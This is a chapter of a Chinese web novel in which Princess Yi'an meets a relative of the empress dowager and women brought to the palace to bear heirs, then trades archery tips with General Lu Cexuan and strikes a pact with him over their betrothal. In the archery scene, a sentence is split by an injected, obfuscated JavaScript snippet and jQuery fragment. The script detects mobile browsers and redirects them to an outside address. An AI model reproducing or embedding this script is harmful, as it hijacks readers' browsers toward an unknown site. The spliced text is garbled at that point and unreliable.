19. 君子

作品:《二嫁公主

    今日,怡安就书院之事的进展进宫向赵容述职,简言之——要钱。


    这方面,赵容并不会对她吝啬,痛快地批了折子。


    怡安入宫得早,不到一刻钟便事了,从正极殿出来后,怡安并未忙着出宫。


    她方才向赵容请示了,要去从月阁看望俞嬷嬷。怡安带了些新得的补品与药材进宫准备给她。


    怡安往从月阁的方向去,途径御花园时,便听身后有道女子声音叫住她。


    “殿下?”


    怡安闻声回头。


    身后几步远的地方,领路的太监带着一位端丽貌美的女子。女子梳着垂云,穿戴不俗,披着榴红织锦鹤氅,长细的眉毛如翠羽,粉面桃腮,神色和气。


    那女子上前福了福身,欣喜道:“我在后头瞧见这背影眼熟,果真是您。”


    怡安停下脚步转过身,温和地寒暄道:“宁瑞郡主,真巧。”


    “郡主今日怎得空进宫,可是有要事?”


    “殿下贯会打趣人,我哪有什么要事,进宫陪姨母解解闷罢了。”宁瑞郡主道。


    宁瑞郡主的姨母便是当今太后。


    宁瑞郡主名黎寅月,出身黎氏,是太后的亲外甥女,年方二十有六,与怡安同龄。


    说起来,当年新帝初登基之时,黎寅月是黎氏唯一的适龄未嫁女,她只比赵容大一岁。


    那时,黎氏上下都推举她入宫。可她偏不,她一意孤行与一位皇商之子私定终身,此举将黎氏上下,包括太后都气得不轻。


    黎寅月不愿入后宫,执意与皇商之子完婚。待日子久了,太后气消后还是心疼这位外甥女,亲自为她请封了郡主之位。


    依当年的风向,黎寅月若是肯进宫,皇后之位必定是她的。


    “殿下往哪里去?”宁瑞郡主问。


    怡安答:“我回从月阁坐坐。”


    “从月阁……太好了,那你我同路!”


    从月阁与太后居住的凤瑞宫在一个方向。


    说罢,宁瑞郡主上前挽住怡安的胳膊。


    怡安只是笑笑。


    黎寅月性子好,待谁都这样亲热。哪怕怡安与太后不和,几乎是人尽皆知的共识。她身为太后的外甥女,待怡安却从来没有避嫌的意思。


    她能将所有人哄得开心,自是有本事在身上的。


    二人边走边闲聊。


    “殿下气色真好,这肌肤跟透着光似的,有何保养秘诀定要教教我!”黎寅月道。


    怡安坦然道:“谈不上秘诀,偶尔吃一些常见的滋补养颜的药膳,你若好奇,回头我让人将方子给你送去。”


    怡安身边有如瑜,素日为她调养身体。


    “那感情好,殿下是爽快人,我也不能白得了殿下的方子。”黎寅月挽紧怡安的手臂亲昵道,“我夫君近来在做域外的生意,新得了一批胡粉,我让人给殿下送去。也不是多稀罕的物件,殿下天姿国色,若是用不上,赏给下面的人玩也行……”


    怡安顷刻会意了她的想法,挑眉道:“原以为你真心赠我东西,感情是做生意做到我头上来了。”


    黎寅月笑眯眯地大方承认,“殿下府上女使众多,常在贵人面前走动,整饬仪容、养好颜色,也给殿下长脸不是?”


    黎寅月自嫁入夫家之后,似乎接触了不少夫家的生意,将产业打理得井井有条,为人乐道。


    她说话叫人舒心,怡安也乐得做了这个顺水人情,左右府里的女孩们都还是爱美的花样年纪。她道:“那你便送来吧。”


    “多谢殿下!以后得了好东西,我定第一个想到殿下!”黎寅月亲热道。


    太监在前头领路,她们穿过御花园时,远远瞧见不远处的重檐凉亭里聚着三名女子在亭中赏景。


    黎寅月半眯起美目望去,看清后她问前头的太监,“前面那几人是谁?宫女不像宫女、娘娘不像娘娘的,身边也没个人伺候。”


    太监望了一眼,然后回头答道:“回郡主,那三人是地方官员进献给陛下的采女,还未面圣呢。”


    “啊?”黎寅月似是有些意外,她对怡安道,“如今的地方官员做事已经这般不当心了吗?”


    常理来说,地方官员进献的采女,都是万里挑一的美人。


    可亭中的三人,身段说不上纤细窈窕,模样也充其量是秀丽,与平头整脸些的宫女差不多。


    领路太监闻言,脸上露出促狭的笑,“郡主这就不知了,那几位采女……有别的妙用。”


    “什么意思?”黎寅月追问。


    太监环顾左右,然后弯着腰低声道:“那几位采女,都曾生育过。她们,是选进来为陛下开枝散叶的。”


    这话不难理解。


    赵容登基十年,后宫无嗣。众人不敢在皇帝身上找原因,便只能在后宫这些女人身上找原因。


    不知是谁提出的,生育过的女人身子更康健,更容易有孕。便有人想到选一批生育过的女人送进宫。


    黎寅月脸色顿时一变,她道:“荒唐!”


    君娶人妇,传出去确实是不好听。


    怡安垂眸,安静听着。


    太监则道:“郡主见怪了,左右这些女子家世不高,进了宫也只是做为陛下延绵皇嗣用,将来若有幸诞下龙嗣,再抱养到身份尊贵的娘娘名下养着,皆大欢喜……”


    怡安睨了眼喋喋不休的太监,打断道:“你话多了,带你的路便是。”


    太监闻言忙低头告罪,“奴才该死,奴才多嘴。”


    “走吧。”


    “是。”太监转过身,老实带路。


    待靠近重檐凉亭,里头的三名采女撞见怡安一行人,忙出来行礼。


    三人面色红润、体态健硕,比之少女娇憨,多了几分成熟风情。


    她们刚进宫不久,并不认识怡安与黎寅月,只从衣着气度判断出是贵人。


    一群人只得无措地跪在地上。


    太监挺直腰杆,颐指气使道:“还不快见过怡安殿下、宁瑞郡主?”


    三人这才规规矩矩见礼。


    “民女冯玉秀见过殿下、郡主。”


    “民女凌华见过殿下、郡主。”


    “民女苏薇见过殿下、郡主。”


    怡安垂眸道:“起来吧。”


    黎寅月站在她身旁没吭声。


    三人起身。


    怡安的目光从左往右扫视三人,最后落在最右边的苏薇身上。只见她低眉敛目、娴静秀气,衣着也比另外两位朴素许多。


    怡安淡淡地挪开眼。


    她与黎寅月并未过多停留,在几人见过礼后便离去了。


    待人走远了。


    留在原地的采女这才松了口气,冯玉秀拍着胸口道:“吓死我了,原来那位就是怡安公主,气势好吓人。”


    “瞧你那点出息。”凌华鄙夷。


    冯玉秀不理她,只撞了撞身边苏薇的胳膊,“你说是不是,苏薇。”


    “嗯。”苏薇垂着头,低低应了一声。


    -


    移山事役已经动工了,比预想得还要顺利许多。一则,军队里的将士身强力壮、纪律又强,工效快上不少。二则,有他们驻守,也没有阿猫阿狗敢偷偷使坏,扰乱工程进展。


    不出意外,新建的书院能提前落成。


    这日下午,京城难得出太阳了。


    杲杲冬阳悬于天际,穿过层层云翳照射在黄土地上后,已经不剩多少暖意,明媚却清冷。


    怡安得了空,在书院的校场上试用她那新改良后的弓。


    她穿浅淡的蜜合色冬裘,领口与袖口镶着一圈初雪般洁白的狐毛,手里握着青弓,箭囊放在一侧。


    百步远的靶心上,红色细绳吊着一枚铜钱,铜钱小弧度地摆动着。


    怡安抬起弓,从箭囊里取了纤细的羽箭搭在弓上。她手指勾弦,用力拉满,锐利的目光紧紧盯着靶子上摇晃的铜钱。


    微风吹拂时,怡安领口上的白毛贴着她的脸颊轻盈地飘动,阳光洒在她的脸上。


    她的视线专注地擒住那枚铜钱。


    怡安缓慢松开手,尖利的箭镞闪烁着寒芒破空而去。


    “叮”,铜钱发出了清脆的声响。


    箭矢射在了铜钱的背上。


    怡安并不气馁,她从箭囊中取了箭,再试。


    约莫三四次后,凌厉的箭矢正好直直射中铜钱眼,将那枚铜钱钉在靶心上。


    怡安放下弓箭,长舒一口气。


    “殿下!”百景凑了过来,小声唤她,神色有些紧张。


    “怎么了?”怡安问。


    百景用眼神示意她看身后。


    怡安回过头,这才发现陆策宣站在她身后几步远的地方。


    他不知什么时候来的,不知站了多久。


    只见他一身玄色大氅立于风中,神色过于冷淡以至于吓着了百景。


    陆策宣缓缓走上前行礼,“拜见殿下。”


    怡安拍了拍百景的手以示安抚,她温和地对陆策宣道,“陆将军,今日得空了?”


    这两日陆策宣公务在身,并未过来。


    陆策宣点点头,“适才见到殿下精湛的箭术,看得入神,不忍打搅。”


    怡安笑了笑,将手里的青弓换了个方向握着。


    陆策宣的目光落在怡安手里的弓上,他称赞,“好贵重的弓。”


    “此弓何名?”


    怡安答:“名‘纱羊’。此弓还是父皇曾经赐下的。”


    陆策宣道:“很美的名字。”


    怡安欣然接受了赞美。


    这时,陆策宣冷不丁地问:“当年殿下十岁夜宴射冠,震慑大鄢使臣,用的便是这把弓吗?”


    怡安唇瓣微张。


    夜宴射冠距今已隔十六年,怡安极少从身边人以外的人口中再听到这件事。


    她微笑着摇头,“不是。”


    纱羊是那场弓宴之后,先帝赐下的。


    怡安端起青弓,五指轻轻抚摸弓身冰凉的纹路,“说来惭愧。”


    “十岁时,手里的弓箭尚能震慑他国使臣。而如今,弓箭在手却不知能做些什么。”


    陆策宣闻言,半垂着眸子,掩住神色。


    怡安长舒一口气,歉意地笑了笑,“我失言了,这冷风吹得人不自觉说起了酸话,将军勿怪。”


    陆策宣却抬起眸子,幽如深潭的目光望着怡安,他缓缓开口:“殿下如果不知道手里的弓箭能做什么,能教我吗?”


    怡安瞳孔微睁,难言诧异,她失笑道:“将军说什么呢?”


    “殿下的箭术很厉害,我想学。”陆策宣执拗地道,他补充,“如果您愿意教的话。”


    他的神色如波澜不惊的空谷幽潭般平静,平静中透着认真。


    怡安还是摇了摇头,她用打趣的口吻道:“将军统帅三军、武功高强,为我泷朝立下赫赫战功。我来教将军箭术,岂非见笑于大方之家?”


    陆策宣淡淡:“百步之远,射中铜钱眼,我做不到。”


    怡安见他执意,她低头略略思索,片刻后抬头道:“这样吧。”


    陆策宣望着她。


    “将军乱军丛中取人首级的本事,我也没有。”怡安拂了拂衣袖,“我们今日便不谈指教,仅是交流箭术,如何?”


    陆策宣犹豫片刻,然后点头。


    “好。”


    达成共识,怡安笑了笑,“先借我的弓,给将军试试手。”


    说罢,怡安将手里的青弓递了过去。


    陆策宣接过。


    他站到方才怡安站的位置上,平视百步之外的靶子。


    陆策宣弯腰取了箭。


    玄氅静


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480929|154258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    穆,他身姿笔直地端起弓,微微侧过身。他绷直唇瓣,浓黑的眉毛下压,锐利的凤眸眯起,冷峻的面容泄露出几分肃杀气。


    陆策宣弯弓搭箭,衣袍下手臂上的肌肉紧绷,拉弦、射箭,一气呵成。


    动作干脆利落。


    接着,他又射了两箭。


    准头都不错。


    怡安在旁观察,她注意到陆策宣发箭的速度很快。


    他是武将,敌军不是靶子,战场瞬息万变,没有给人思考的余地。


    射出的每一箭,几乎都靠直觉。


    陆策宣放下弓箭,望向怡安。


    怡安拍手捧场,“从前教习的武师总夸我发箭的力气大,如今一看,比起将军神力却是不如。”


    “这几箭下去,靶子都快碎了。”


    陆策宣睫毛颤了颤。


    怡安走上前,“只是将军射箭的姿势,略加调整,可以更加省力一些。”


    “请殿下赐教。”陆策宣道。


    怡安也不忸怩,直言道:“将军的左臂向里收三寸,持弓的位置往上些许……”


    说罢,她隔着衣料推了推陆策宣的手肘,帮助他调整姿势。


    陆策宣神色不变,只是眼睫颤得更快了些。


    末了,怡安往后退了退,她道:“将军再试试。”


    “好。”陆策宣低声应道。


    他依照怡安所教,重复弯弓射箭,便发现确如她所言,调整过后发力更加纯粹、省力不少。


    接着,怡安又向陆策宣分享了一些提高准度的技巧。


    二人你一箭、我一箭,直至夕阳西斜,射空了箭囊里所有的箭。


    夕阳余晖壮丽,霞光如熔金般倾泻而下,寒风将怡安白皙的脸蛋吹得发红,雪白的狐毛与乌黑的碎发交织随风飞舞。


    怡安抬起弓,向着夕阳拉弓,松手射出一发空箭,她道:“今日箭空兴尽,便到这里吧。”


    陆策宣站在她身旁,望着怡安的侧颜,他抿唇,低沉清越的声音响在风中,“从今往后,我每射杀一个敌人,都有殿下的功劳。”


    怡安的手一颤,她持弓的手垂下,偏头望向陆策宣,霞光盈满她的眼眸,里面闪烁着复杂的神色。


    “陆将军真是一个叫人猜不明白的妙人。”


    陆策宣道:“那便不猜吧。”


    “殿下想知道什么,可以直接问我。”


    怡安盯着陆策宣的眼睛,莫名从中读出了些许包容。她觉得荒谬,低头笑了笑。


    然后她道:“天下熙熙皆为利来,天下攘攘皆为利往。我想知,我身上可是有什么陆将军想要的东西?”


    “为何这样问?”陆策宣道。


    怡安的神色变得冷静,“除却一纸婚约,我与陆将军萍水相逢,我想不通你为何一而再地帮我。”


    陆策宣垂眸,“在这世道里,一纸婚约,便足矣将两个毫不相干的人系在一起,变成荣辱与共、白头偕老的至亲夫妻。”


    “确实如此。”怡安点头,“至亲至疏是夫妻,一纸婚约可以很重亦可以很轻。”


    “在这世道里,妻子可以是举案齐眉的伴侣、可以是荣辱与共的盟友,亦可以是同床异梦的陌生人,甚至可以是横刀相向的敌人。”


    陆策宣笃定道:“殿下以为我们会是后两种。”


    已经说到这个地步,再没有遮掩的必要。


    怡安坦然地点头,“我曾经是这么以为的。在你我这桩婚事里,将军并非自愿,也占不到半点好处。”


    二人站在风里,相隔不过一个身位,能清楚看见对方眼底的情绪,所有作伪谎言都将无所遁形。


    陆策宣沉默了片刻后,他道:“饮食男女,人之大欲存焉。一个男人帮一个女人,有时也仅可以是纯粹的图貌图色。”


    “殿下天姿国色,为何不怀疑陆某是被殿下的魅力所倾倒,甘为裙下臣?”


    一位俊美高大、位高权重的男人,在面前提及“甘为裙下臣”,确实足以乱人心神。


    但怡安只是轻轻摇了摇头,“不会。”


    “为何?”陆策宣追问。


    怡安缓缓道:“皮相外具、红颜枯骨。美丽的皮囊足以叫人动心,却不会乱人本性。”


    “将军若是耽于美色的轻薄之徒,以你的权势地位,天下各色的美人尽可入怀,而不是多年洁身自好的做派。”


    “怡安也自认,没有那么大的魅力。”


    “呵。”陆策宣听完忽的低声轻笑。


    他冷峻的面容略有松动,深邃的眼眸凝视怡安,他道:“在殿下的心中,陆策宣不是一个会贪恋美色的轻薄小人。”


    “但为何殿下不愿相信,陆策宣亦不是一个将不满归责发泄于女子身上的无用小人。”


    此话叫怡安瞳孔震颤,微张的唇瓣一时无言。


    暮色即将收拢最后一缕余晖,陆策宣眸中闪烁着微光,他道:“我向殿下保证,我若娶你作为妻子,我绝不会将你视作横刀相向的敌人。”


    低醇的嗓音清晰地传入怡安的耳中,默了两息后,她扶额苦笑。


    待放下手时,怡安的神色亦变得坦然,她道:“是我庸人自扰,以小人之心夺君子之腹。”


    怡安的双目被夜风吹得雪亮,说话时,口中吐出淡淡的白气,“将军乃真君子。”


    “怡安愿今日与将军立下君子协议。”


    “我赵嫣阳若是嫁你为妻,亦绝不做背信弃义之徒,不做暗中使手段的小人,不损将军府一分一毫。”


    说罢,怡安举起手,她白皙纤细的手从冬裘中钻出,暴露在空气中。


    她将手举至半空。


    陆策宣跟着缓缓抬起手,修长宽厚的大手与怡安在空中相击,发出清脆的声响。


    “啪。”


    天光彻底暗淡,二人完成了三击掌。